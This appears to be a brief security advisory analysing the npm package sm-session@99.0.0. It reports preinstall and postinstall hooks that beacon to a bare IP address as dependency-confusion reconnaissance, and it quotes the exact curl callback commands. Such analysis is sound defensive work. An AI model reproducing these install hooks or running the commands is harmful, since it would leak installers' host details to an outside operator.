sm-session@99.0.0

package.json declares preinstall and postinstall lifecycle scripts that each run `curl -s http://16.192.173.5/sm-session/pre` and `curl -s http://16.192.173.5/sm-session/post` on `npm install`. The destination is a hardcoded bare IPv4 over plain HTTP with path segments identifying the package name and lifecycle stage, so every install signals the installer's host (source IP, user-agent, timing) to an operator-controlled endpoint. The behavior is the canonical dependency-confusion reconnaissance shape: a name-squat package whose only install-time action is a callback identifying which environments resolve the name. No legitimate package purpose is served by a plain-HTTP beacon to a bare IP in both pre- and postinstall hooks.